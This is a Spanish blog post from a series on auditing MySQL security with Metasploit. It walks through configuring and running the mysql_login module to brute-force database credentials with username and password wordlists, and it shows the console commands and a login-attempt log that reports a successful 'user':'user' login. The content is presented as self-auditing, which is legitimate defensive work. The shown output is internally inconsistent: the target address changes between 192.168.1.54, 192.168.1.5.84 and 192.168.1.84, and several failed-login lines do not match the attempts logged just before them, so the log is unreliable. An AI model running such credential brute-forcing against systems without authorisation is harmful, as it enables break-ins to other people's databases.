metasploit, MySQL brute force

En esta serie de post sobre auditoría de MySQL con metasploit, hoy vamos a comentar acerca de un módulo auxiliar que está directamente relacionado con la seguridad de las contraseñas. Vamos a ver cómo poder saber si nuestro MySQL es o no vulnerable a un ataque de diccionario o de fuerza bruta. Para ello, vamos a emplear un diccionario de palabras para usuarios y otro para contraseñas. Si no disponéis de uno, podéis generarlo o bien descargarlo de uno de los muchos sitios que los tienen, como por ejemplo skullsecurity. Una vez que tengamos el diccionario de palabras disponible, simplemente queda configurar y lanzar el ataque. Para ello,
msf> use auxiliary/scanner/mysql/mysql_login
msf auxiliary(mysql_login)> show options

Module options (auxiliary/scanner/mysql/mysql_login):

Name              Setting  Required  Description
----              -------  --------  -----------
BLANK_PASSWORDS   true     no        Try blank passwords for all users
BRUTEFORCE_SPEED  5        yes       How fast to bruteforce, from 0 to 5
PASSWORD                   no        A specific password to authenticate
PASS_FILE                  no        File containing passwords
RHOSTS                     yes       The target address
RPORT             3306     yes       The target port
STOP_ON_SUCCESS   false    yes       Stop guessing when a credential works
THREADS           1        yes       The number of concurrent threads
USERNAME                   no        A specific username to authenticate as
USERPASS_FILE              no        File containing users and passwords
USER_AS_PASS      true     no        Try the username as the password
USER_FILE                  no        File containing usernames
VERBOSE           true     yes       Whether to print output

msf auxiliary(mysql_login)> set USER_FILE /tmp/user.list
USER_FILE => /tmp/user.list
msf auxiliary(mysql_login)> set PASS_FILE /tmp/passwd.list
PASS_FILE => /tmp/passwd.list
msf auxiliary(mysql_login)> set RHOSTS 192.168.1.54
RHOSTS => 192.168.1.5.84
msf auxiliary(mysql_login)> set THREADS 5
THREADS => 5
Ahora ejecutamos el módulo reción configurado y esperamos un rato. En caso de que no nos interese ver todas las iteraciones que hace de user + passwd, podemos establecer la variable VERBOSE a no, con lo que conseguimos una salida de sólo los y usuarios con acceso. En nuestro caso nos interesa ver todo, pero con ficheros con muchos valores, esto puede ser molesto y ralentizar mucho la ejecución.
msf  auxiliary(mysql_login) > run

[*] 192.168.1.84:3306 MYSQL-Found remote MySQL version 5.5.23
[*] 192.168.1.84:3306 MYSQL-Trying username:'user' with password:''
[+] 192.168.1.84:3306 - SUCCESSFUL LOGIN 'user' : 'user'
[*] 192.168.1.84:3306 MYSQL-Trying username:'admin' with password:''
[*] 192.168.1.84:3306 MYSQL-failed to login as 'admin' with password ''
[*] 192.168.1.84:3306 MYSQL-Trying username:'admin' with password:'admin'
[*] 192.168.1.84:3306 MYSQL-failed to login as 'admn' with password 'adn'
[*] 192.168.1.84:3306 MYSQL-Trying username:'admin' with password:'admin'
[*] 192.168.1.84:3306 MYSQL-failed to login as 'admin' with password 'an'
[*] 192.168.1.84:3306 MYSQL-Trying username:'admin' with password:'al'
[*] 192.168.1.84:3306 MYSQL-failed to login as 'adm' with password 'al'
[*] 192.168.1.84:3306 MYSQL-Trying username:'admin' with password:'admin'
[*] 192.168.1.84:3306 MYSQL-failed to login as 'adm' with password 'amin'
[*] 192.168.1.84:3306 MYSQL-Trying username:'admin' with password:'adm'
[*] 192.168.1.84:3306 MYSQL-failed to login as 'admin' with password 'am'
[*] 192.168.1.84:3306 MYSQL-Trying username:'admin' with password:'al'
[*] 192.168.1.84:3306 MYSQL-failed to login as 'admin' with password 'al'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution complete
Las líneas en verde contendrán los usuarios con acceso válido. En nuestro caso, user-user. Para que esta auditoría sea realmente efectiva, la base de datos de usuarios y de contraseñas tiene que ser muy grande, para contemplar las más comúnmente empleadas.


No hay comentarios :

Publicar un comentario

Formulario de contacto

Nombre

Correo electrónico *

Mensaje *

Últimos comentarios